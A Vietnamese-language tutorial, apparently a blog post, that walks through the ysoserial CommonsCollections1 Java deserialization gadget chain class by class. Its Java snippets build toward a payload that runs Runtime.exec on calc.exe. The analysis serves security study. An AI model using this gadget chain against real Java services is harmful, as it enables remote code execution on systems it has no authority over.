# YSOSERIAL - Commons Collections 1 Đầu tiên, commons collections 1 là chain hoạt động trên version 3.1 của commons collections. Có thể tải lib: [ở đây](https://mvnrepository.com/artifact/commons-collections/commons-collections/3.1) để sử dụng trong quá trình phân tích Chain của Commons Collections 1 như sau: ```java Gadget chain: ObjectInputStream.readObject() AnnotationInvocationHandler.readObject() Map(Proxy).entrySet() AnnotationInvocationHandler.invoke() LazyMap.get() ChainedTransformer.transform() ConstantTransformer.transform() InvokerTransformer.transform() Method.invoke() Class.getMethod() InvokerTransformer.transform() Method.invoke() Runtime.getRuntime() InvokerTransformer.transform() Method.invoke() Runtime.exec() ``` Tước khi đi vào phân tích, chúng ta hãy cùng tìm hiểu xem các Class trong chain hoạt động như thế nào, hay nó sinh ra để làm gì ### AbstractMapDecorater Đây là một abstract class trong thư viện CommonsCollections. Và như tên gọi của nó thì lớp này cung cấp thêm các chức năng cho **Map**. Có 2 class quan trọng trong chain kế thừa class này là **TransformedMap** và **LazyMap** ### TransformedMap Là một class có thể tự động thực hiện những tác động vào các phần tử khi chúng được thêm vào set, và những tác động này thì được định nghĩa bởi **Transformer**, sau đó được truyền vào constructer của TransfermedMap như các tham số. Ví dụ Đầu tiên, chúng ta chú ý đoạn này trước: ```java ChainedTransformer.transform() ConstantTransformer.transform() InvokerTransformer.transform() Method.invoke() Class.getMethod() InvokerTransformer.transform() Method.invoke() Runtime.getRuntime() InvokerTransformer.transform() Method.invoke() Runtime.exec() ``` ## ChaninedTransformer Ctrl + N để đến class `ChaninedTransformer` ![image](https://hackmd.io/_uploads/ryKatRSGR.png) Ctrl + F12 để vào hàm **tranform()** như ở chain ![image](https://hackmd.io/_uploads/rydRjRHMC.png) ![image](https://hackmd.io/_uploads/Hyjen0BzA.png) Có thể thấy trong **transform()** của **ChainedTransformer** gọi đến `this.iTransformers[i].transform()` mà ở đầu của class **iTransformers** là một array có kiểu là **Transformer**. Điều này có nghĩa là các object của các class kế thừa từ Transformer đều có đưa vào array **iTransformers**. Và các từng phần tử sẽ thự hiện **tranform()**, hàm transform() được call là hàm transform() object được truyền vào ![image](https://hackmd.io/_uploads/HJ1-AbJ7C.png) ## InvokeTransformer Object tiếp theo trong chain là InvokeTransformer. ![image](https://hackmd.io/_uploads/HkJucDOz0.png) InvokeTransformer chứa 3 thuộc tính quan trọng đó là **iMethodName**, **iParamTypes**, **IArgs**. Tại sao thì mình đến với hàm transform() của nó nhé ![image](https://hackmd.io/_uploads/HJlWiD_fA.png) Hàm transform() nhận đầu vào là một Object, sau đó sử dụng **Reflection** để gọi đến phương thức của Object đó. Trong đó * **iMethodName** là tên phương thức được gọi * **iParamTypes** là kiểu của tham số truyền vào phương thức * **iArgs** là mảng chứa các tham số truyền vào Các thuộc tính này được khởi tạo giá trị ở hàm khởi tạo của InvokeTransformer ![image](https://hackmd.io/_uploads/rk5t2vuzC.png) Vậy từ đây chúng ta hoàn toàn có thể truyền vào object Runtime.getRuntime() và truyền vào tham số là phương thức exec với các tham số đầu vào là lệnh thực thi ```java import org.apache.commons.collections.functors.InvokerTransformer; public class Main { public static void main(String[] args){ InvokerTransformer testExec = new InvokerTransformer("exec",new Class[] {String.class}, new Object[]{ "calc"}); testExec.transform(Runtime.getRuntime()); } } ``` ![image](https://hackmd.io/_uploads/S1oUpDuzC.png) Bây giờ chúng ta sẽ đưa vào **ChainedTransformer**. Hàm khởi tạo của ChainedTransformer là một mảng các instance của Transformer. Mà InvokeTransformer kế thừa từ Transformer nên hoàn toàn có thể truyền vào. ```java public ChainedTransformer(Transformer[] transformers) { this.iTransformers = transformers; } ``` ![image](https://hackmd.io/_uploads/SkBsz-JQC.png) Tuy nhiên, **Runtime** lại không implement Serialize vậy nên chúng ta cần phải sử dụng reflection để lấy được nó. ![image](https://hackmd.io/_uploads/rJx-7Z1m0.png) ```java Runtime rt = (Runtime) Runtime.class.getMethod("getRuntime").invoke(null); rt.exec("calc.exe"); ``` Chúng ta sẽ truyền vào như sau: ```java Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", null}), new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, null }), new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"}) }; ChainedTransformer a = new ChainedTransformer(transformers); a.transform(new Object()); ``` Từng phần tử sẽ đi qua hàm **transform()** và lưu vào biến object ```java for(int i = 0; i < this.iTransformers.length; ++i) { object = this.iTransformers[i].transform(object); } ``` ## ConstantTransformer **ConstantTransformer** cũng là một object khác kế thừa Transformer mà mình chưa đề cập đến. Khi gọi hàm khởi tạo của ConstantTransformer và gọi đến ConstantTransformer::transform() nó sẽ trả về một Constant của object truyền vào. Và cụ thể ở đây là **Runtime.class** ![image](https://hackmd.io/_uploads/BJLwJzk70.png) Tiếp theo đến lần lặp thứ 2, Instance của Runtime được truyền vào transform() của `InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", null })` Như vậy, sau lần lặp thứ 2 chúng ta sẽ có **Runtime.class.getMethod("getRuntime")** Ở vòng lặp thứ 3. Sẽ chạy hàm **invoke()** như vậy chúng ta sẽ có **Runtime.class.getMethod("getRuntime").invoke()** Tiếp theo đến lần lặp thứ 4. Hàm exec() sẽ được gọi với tham số truyền vào là calc. ```java Runtime rt = (Runtime) Runtime.class.getMethod("getRuntime").invoke(null); rt.exec("calc.exe"); ``` ## Lazymap Để trigger được ChainedTransformer.transform() thì sẽ dùng LazyMap.get() ![image](https://hackmd.io/_uploads/rkZP5OJmA.png) ![image](https://hackmd.io/_uploads/ryPu5_yXR.png) Để set được factory thì LazyMap có hàm khởi tạo: ![image](https://hackmd.io/_uploads/HkyvCEeQ0.png) Tuy nhiên, hàm này có kiểu **protected** nên không thể sử dụng từ bên ngoài class. Nhưng có thể gọi đến thông qua hàm **decorate()** ```java public static Map decorate(Map map, Transformer factory) { return new LazyMap(map, factory); } ``` Có thể tận dụng hàm decorate() như sau: ```java ChainedTransformer a = new ChainedTransformer(transformers); LazyMap.decorate(new HashMap(), a).get(new Object()); ``` ## AnnotationInvocationHandler.invoke() Để trigger được Lazymap::get() thì ở class **AnnotationInvocationHandler** có phương thức **invoke()** trong đó thì chú ý dòng này có gọi đến hàm get() của `memberValues` ![image](https://hackmd.io/_uploads/rJllUVu7R.png) Mà `memberValues` lại có kiểu là một `Map<String, Object>` ![image](https://hackmd.io/_uploads/SkLIU4dQC.png) quay trở lại với luồng của hàm invoke(), có thể thấy nếu `var4` không thuộc một trong các giá trị "toString", "hashCode", "annotationType" thì nó sẽ kích hoạt phương thức get() Vậy làm sao để kích hoạt được `AnnotationInvocationHandler.invoke()` Vì AnnotationInvocationHanlder là private class nên phải sử dụng Reflection để lấy được instance. ```java Constructor constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0]; constructor.setAccessible(true); ``` Có constructer rồi làm sao để khởi tạo instance? `AnnotationInvocationHandler` private nên không thể tạo instance được, nhưng nó lại implements `InvocationHandler` Interface này được sử dụng để triển khai Java dynamic Proxy, chủ đề này mình đã viết riêng một bài, mọi người thử đọc nhé (có lẽ là nó vẫn chưa dễ hiểu lắm vì mình cũng chưa hiểu kĩ) Để triển khai dynamic proxy đầu tiên chúng ta phải tạo một Handler ```java InvocationHandler annotationInvoke = (InvocationHandler) constructor.newInstance(Override.class, lazyMap); ``` Mỗi khi proxy class được call thì nó sẽ gọi đến phương thức public invoke() -> dẫn đến `AnnotationInvocationHandler.invoke()` sẽ được gọi. Sau khi tạo handler thì đã có thể tạo proxy instance, proxy instance ở đây phải implements Map, vì LazyMap implements Map interface ```java Map map = new HashMap(); Map proxyMap = (Map) Proxy.newProxyInstance(map.getClass().getClassLoader(), map.getClass().getInterfaces(), annotationInvoke); ``` Lúc này chỉ cần ta gọi đến bất kì method nào của Map như size(); AnnontationHandler::invoke() sẽ được thực thi và tiếp tục chain như ta đã phân tích và gọi đến calc.exe Và hiển nhiên rằng ta không thể tự gọi đến method size() như trên. Nhưng ta hãy để ý method readObject() của AnnontationHandler: ![image](https://hackmd.io/_uploads/SyeoDX4V0.png) nó gọi đến method entrySet() của this.memberTypes() tức là cái LazyMap. Và method readObject() Vậy ta chỉ cần đưa cái proxyMap vào argument của AnnotationHandler là xong ```java import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap; import java.io.File; import java.lang.reflect.*; import java.util.HashMap; import java.util.Map; public class Test { public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", null }), new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, null }), new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"}) }; ChainedTransformer a = new ChainedTransformer(transformers); Map lazyMap = (Map) LazyMap.decorate(new HashMap(), a); Constructor constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0]; constructor.setAccessible(true); InvocationHandler triggerInvoke = (InvocationHandler) constructor.newInstance(Override.class, lazyMap); Map map = new HashMap(); Map proxyMap = (Map) Proxy.newProxyInstance(map.getClass().getClassLoader(), map.getClass().getInterfaces(), triggerInvoke); InvocationHandler handler = (InvocationHandler) constructor.newInstance(Override.class, proxyMap); } } ```